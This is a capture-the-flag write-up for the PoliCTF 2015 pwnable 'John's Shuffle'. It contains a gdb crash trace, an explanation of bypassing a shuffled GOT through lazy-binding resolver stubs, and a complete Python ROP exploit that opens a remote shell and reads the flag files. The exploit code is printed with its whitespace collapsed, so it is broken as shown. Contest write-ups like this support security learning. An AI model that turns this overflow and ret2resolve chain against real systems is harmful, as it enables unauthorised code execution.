John’s Shuffle was a 350 point pwnable for PoliCTF 2015. Here’s how I cracked it!
Again, it’s a 32 bit ELF binary. Running it yields the following:
12345678
bas@tritonal:~/tmp/polictf/johns-shuffle$ ./johns-shuffle
It all began as a mistake..
It all began as a mistake..
It all began as a mistake..
Not very useful. The disassembly provided some hints, for it had functions like shuffle, unshuffle and bubblesort. The program kicks off by clearing a lot of stack space and calling unshuffle. Then, it asks for user input, maximum size 0x44 bytes. I decided to enter 0x44 * A (what else?).
When runnning the shuffle function, the program executes system(), which spawns /bin/dash on my system, effectively stopping me from debugging it in gdb. I patched system in gdb so it would return immediately and I could trace the program. Turns out shuffle takes the GOT entries, all the function pointers, and shuffles them around. unshuffle negates this operation. After the second time I entered 0x44 A’s, the program crashed with control over EIP and EBP:
gdb-peda$ start
Temporary breakpoint 2, 0x08048ec2 in main ()gdb-peda$ p system
$2={<text variable, no debug info>} 0xf7e9ac30 <system>
gdb-peda$ set *0xf7e9ac30=0xc3
gdb-peda$ c
It all began as a mistake..
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
It all began as a mistake..
It all began as a mistake..
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]EAX: 0x0
EBX: 0xf7fbeff4 --> 0x15fd7c
ECX: 0x4
EDX: 0x80487a6 (<difftime@plt+6>: push 0x88)ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')ESP: 0xffffd5c0 ('A' <repeats 31times>)EIP: 0x41414141 ('AAAA')EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]0000| 0xffffd5c0 ('A' <repeats 31times>)0004| 0xffffd5c4 ('A' <repeats 27times>)0008| 0xffffd5c8 ('A' <repeats 23times>)0012| 0xffffd5cc ('A' <repeats 19times>)0016| 0xffffd5d0 ('A' <repeats 15times>)0020| 0xffffd5d4 ('A' <repeats 11times>)0024| 0xffffd5d8 ("AAAAAAA")0028| 0xffffd5dc --> 0x414141 ('AAA')[------------------------------------------------------------------------------]Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()gdb-peda$
Cool, easy control over EIP. However, at this point, we cannot rely on the GOT entries, because they are still shuffled! We can’t just ret2system. I spent some time trying to return to unshuffle, but kept losing control of the program execution.
But let’s take a step back here. Linux ELF binaries employ something called “lazy linking”. When a binary is started, the symbols are not resolved yet. Only when a function is called for the first time will the function address be resolved. The GOT entry will be pointing to this look up code (memcpy as example):
When called for the first time, 0x804b01c will be pointing to 0x80486d6, which will kick off the function resolver. So instead of using 0x80486d0 to do a memcpy, I’d just use 0x80486d6. This bypasses the mess that shuffle made!
With all this in hand, I wrote an exploit and the corresponding rop chain (well… more like ret2resolve ;)).
fromsocketimport*importstruct,telnetlib,re,sys,timedefreadtil(delim):buf=b''whilenotdeliminbuf:buf+=s.recv(1)returnbufdefsendln(b):s.send(b+b'\n')defsendbin(b):s.sendall(b)defp(x):returnstruct.pack('<L',x&0xffffffff)defpwn():globalss=socket(AF_INET,SOCK_STREAM)s.connect(('shuffle.polictf.it',80))readtil('mistake..')rop="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"rop+=p(0x8048696)# resolve -> read (so we can read in `/bin/sh`)rop+=p(0x804901d)# ppprrop+=p(0)# stdinrop+=p(0x804b130)# free mem arearop+=p(0x10)rop+=p(0x8048726)# resolve -> systemrop+=p(0x8048746)# resolve -> exit (makes rasta_mouse happy!)rop+=p(0x804b130)# arg for system; will contain /bin/sh in a few momentssendln(rop)readtil('mistake..')sendln(rop)readtil('mistake..')sendln(rop)sendln('/bin/sh')t=telnetlib.Telnet()t.sock=st.interact()s.close()pwn()
1234567
bas@tritonal:~/tmp/polictf/johns-shuffle$ python poc.py
id
uid=1001(ctf)gid=1001(ctf)groups=1001(ctf)cat /home/ctf/*
flag{rand0mizing_things_with_l0ve}cat: /home/ctf/johnshuffle: Permission denied
Easy peasy! The flag was flag{rand0mizing_things_with_l0ve}. Nice!